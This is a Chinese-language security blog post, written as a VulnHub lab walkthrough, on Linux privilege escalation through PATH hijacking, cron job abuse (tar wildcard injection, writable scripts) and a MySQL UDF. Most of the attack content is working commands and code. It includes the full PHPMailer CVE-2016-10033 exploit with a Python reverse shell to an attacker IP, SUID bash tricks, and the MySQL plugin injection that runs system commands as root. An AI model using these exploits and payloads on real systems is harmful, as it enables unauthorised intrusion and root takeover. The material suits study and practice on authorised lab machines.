安全 提权 Linux定时任务&环境变量&数据库 Yatming的博客 2025-05-20 2023-07-31
linux提权本地环境变量安全 1 2 3 4 5 6 7 #include <unistd.h> void main () { setuid(0 ); setgid(0 ); system("ps" ); }
什么是shell,就是类似于上一篇的交互式窗口,那么环境变量又是什么?比如说你在linux中输入ls,那么就是显示当前路径下的文件,那么这个ls是怎么做到的?ls也是通过代码写出来的,放在一个指定的路径下,那么这个目录下的特定文件在和一个特定命令进行绑定,打个比方/bin/xxx/ls ,当我在执行ls的时候,就执行/bin/xxx/ls这个文件中的代码,从而实现查看当前目录下文件的作用
执行命令
1 2 3 4 5 6 7 8 cd /tmp gcc demo.c -o shell cp /bin/sh /tmp/ps export PATH=/tmp:$PATH ./ps chmod u+s shell ./shell id
执行命令
1 2 3 4 5 6 7 8 cd /tmp gcc demo.c -o shell cp /bin/sh /tmp/ps export PATH=/tmp:$PATH ./ps chmod u+s shell ./shell id
增加环境变量export PATH=/tmp:$PATH
环境变量里新增/tmp
目录,此时执行ps
命令就相当于直接执行sh
命令了
执行触发chmod u+s shell
,./shell
执行触发demo.c
里面的ps
命令,成功提权,个人认为这里还跟代码有关系,因为前面说到root的uid和gid都是0,所以在代码中也是0,而且赋值这个suid权限就是让shell文件有root权限,那么执行shell权限之后就会执行root权限的ps命令,而ps命令在环境变量中已经设置为我们自己设置了的,所以这里ps命令就是执行sh命令,那么由suid执行的sh命令就会是root权限
我这里失败了……..
linux提权本地定时任务安全 路径问题导致提权
利用计划任务指向的文件的相对路径解析问题
执行cat /etc/crontab
命令,查看当前系统的定时任务,发现一个test.sh
任务没有写绝对路径,而且是以root权限运行的
定时任务中的test.sh
没有写绝对路径,但我们知道它默认就是调用/usr/local/bin
目录下test.sh
打开看一下,发现此定时任务是每隔一分钟将系统日期写入/tmp/time.log
,等1分钟,发现确实/tmp
目录下生成了time.log
,内容是当前时间
提权方法就是在用户目录下写入一个与test.sh
同名的文件,执行,此时定时任务以root身份调用的就是我们写的/home/用户名/test.sh
,而不是系统原来的/usr/local/bin/test.sh
,从而提权
1 2 3 echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/用户名/test.sh chmod +x /home/用户名/test.sh /tmp/bash
问题点:
1 2 首先我这里是centos,视屏中是Ubuntu,我这里直接是计划任务都没有启动,然后网上找了一下这centos的计划任务的默认目录,额没有找到.....比较尴尬,这里直接理论分析一波,首先先说一下鸡肋的地方吧,利用条件首先是有运维人员在运行计划任务的时候使用了绝对路径,如果没有那么就gg,因为如果需要自己写的话/usr/local/bin目录普通用户是没有权限的,其次就是我看了几个人的博客,包括视频中都是没有提权成功的 个人的质疑,如果是使用绝对路径进行混淆的话,那么默认是从/usr/local/bin路径进行执行的,那么在不替换的情况下,为什么就会执行普通用户家目录下的计划任务呢?
原理总结:如果在计划任务中有使用绝对路径,那么在可以混淆的情况下,我在家目录下放一个同名的脚本,然后计划任务就会执行我这个脚本,而我这个脚本就会以root进行执行
通配符配合命令问题导致提权
利用通配符配合命令参数自定义命令实现提权
查看当前系统的定时任务,发现一个名为backup.sh
的备份定时任务,而且是以root权限运行的
定时任务每分钟执行一次,打开backup.sh
发现是将/home/undead/script
目录下的所有文件打包为backup.tar.gz
,并放到/tmp
目录下
1 2 # backup.sh cd /home/用户名/script;tar czf /tmp/backup.tar.gz *
使用以下命令在/home/undead/script
目录下创建3个文件
1 2 3 echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/用户名/script/backup.sh echo "" > "--checkpoint-action=exec=sh test.sh" echo "" > --checkpoint=1
分析:
1 2 3 4 5 6 利用条件: 1、首先你需要可以被“打包” 原理: 原因是定时任务打包时使用了*将整个文件夹下的文件打包,而当系统真正执行打包操作时,会将目录下的所有文件名一个一个传参给*执行打包操作。前几个文件都没问题,但是当打包到--checkpoint=1文件和--checkpoint-action=exec=sh test.sh文件时,执行的相当于tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh 而--checkpoint,--checkpoint-action正好是tar命令的参数,打包到这里就会导致tar命令直接把--checkpoint=1和--checkpoint-action=exec=sh test.sh两个文件名当做参数执行,而不打包文件.--checkpoint-action=exec=sh test.sh参数的意思是执行同目录下test.sh文件,test.sh文件内容又是把/bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限
权限问题导致提权
利用不安全的权限分配操作导致的定时文件覆盖
管理员正常创建一个文件test.sh
时,默认是没有执行权限的,此时管理员若想执行这文件,必须给它赋执行权限,正常的赋权命令是chmod +x test.sh
,这样就可以执行test.sh
并且组和其他成员无法修改覆盖这个文件(即写权限),但是粗心的管理员会直接chmod 777 test.sh
,这样虽然也可以实现执行test.sh
的目的,但是会导致权限扩大,即组和其他成员都可以对文件修改覆盖
执行cat /etc/crontab
命令,查看当前系统的定时任务,发现一个名为check.sh
的定时任务,而且是以root权限运行的
从上面看,利用很简单:
1 cp /bin/bash /tmp/bash; chmod +s /tmp/bash
等待定时任务执行后,执行/tmp/bash -p
,提权成功
Linux提权第三方服务数据库MYSQL 1 靶机地址:https://www.vulnhub.com/entry/raven-2,269/
获取ip地址+端口
1 2 nmap 192.168.70.0/24 nmap -p 1-65535 192.168.70.138
发现了一个111端口,然后百度了一下这个端口是什么
扫描后台
1 dirsearch -u "http://192.168.70.138"
正常来说都是一个一个试,这里就不做演示了,直接访问/vendor/
,很明显是一个目录遍历
翻出来一个flag和一个版本号
发现PHPMailerAutoload.php
的一个插件
40974.py
下面就是,或者自己下载:https://www.exploit-db.com/exploits/40974
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 """ # Exploit Title: PHPMailer Exploit v1.0 # Date: 29/12/2016 # Exploit Author: Daniel aka anarc0der # Version: PHPMailer < 5.2.18 # Tested on: Arch Linux # CVE : CVE 2016-10033 Description: Exploiting PHPMail with back connection (reverse shell) from the target Usage: 1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033 2 - Config your IP for reverse shell on payload variable 4 - Open nc listener in one terminal: $ nc -lnvp <your ip> 3 - Open other terminal and run the exploit: python3 anarcoder.py Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU Full Advisory: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html """ from requests_toolbelt import MultipartEncoderimport requestsimport osimport base64from lxml import html as lhos.system('clear' ) print ("\n" )print (" █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ " )print ("██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗" )print ("███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝" )print ("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗" )print ("██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║" )print ("╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝" )print (" PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com" )print (" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n" )target = 'http://192.168.70.138/contact.php' backdoor = '/shell.php' payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.70.128\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>' fields={'action' : 'submit' , 'name' : payload, 'email' : '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server\" @protonmail.com' , 'message' : 'Pwned' } m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe' ) headers={'User-Agent' : 'curl/7.47.0' , 'Content-Type' : m.content_type} proxies = {'http' : 'localhost:8081' , 'https' :'localhost:8081' } print ('[+] SeNdiNG eVIl SHeLL To TaRGeT....' )r = requests.post(target, data=m.to_string(), headers=headers) print ('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D' )r = requests.get(target+backdoor, headers=headers) if r.status_code == 200 : print ('[+] ExPLoITeD ' + target)
修改点:
1 2 3 4 5 6 7 8 9 10 11 简单修改一下exp: a.顶部加上# -*- coding: utf-8 -*-声明,否则注释里一大堆非ASCII字符会报错。 b.修改target为靶机IP地址,利用文件为contact.php。 c.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功。 d. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。 e.运行该python脚本需要安装对应的包(pip install requests-toolbelt),如下地址下载并手动安装
反弹回来了
我用echo的方式写入冰蝎马,但是总是没有成功,所以这里我直接上传到我的服务器上,然后用wget进行下载
用冰蝎自带的反弹,连一波kali的msf
上传脚本,得到mysql的版本
可以利用python获得持久化shell
1 2 3 4 python -c 'import pty;pty.spawn("/bin/bash")' python3 -c 'import pty;pty.spawn("/bin/bash")' python -c 'import pty;pty.spawn("/bin/sh")' python3 -c 'import pty;pty.spawn("/bin/sh")'
冰蝎这里连接的话,因为数据库密码有一个特殊符号@
,那么就需要进行url编码,在进行连接
1 wget https://www.exploit-db.com/download/1518
在kali中编译好文件后上传
1 2 3 4 cp /usr/share/exploitdb/exploits/linux/local/1518.c /opt cd /opt gcc -g -c 1518.c gcc -g -shared -o mysql.so 1518.o -lc
1 2 3 4 5 6 7 8 mysql -uroot -pR@v3nSecurity use mysql; create table foo(line blob); insert into foo values(load_file('/tmp/mysql.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/mysql.so'; create function do_system returns integer soname 'mysql.so'; select * from mysql.func; select do_system('chmod u+s /usr/bin/find');
这里说一下,那个神出鬼没
这里是写错了,他写的是:use wordpress;
,这一步错后面也成不了,找了一两个小时0.0(悲~)
1 2 touch yatming find yatming -exec /bin/sh \;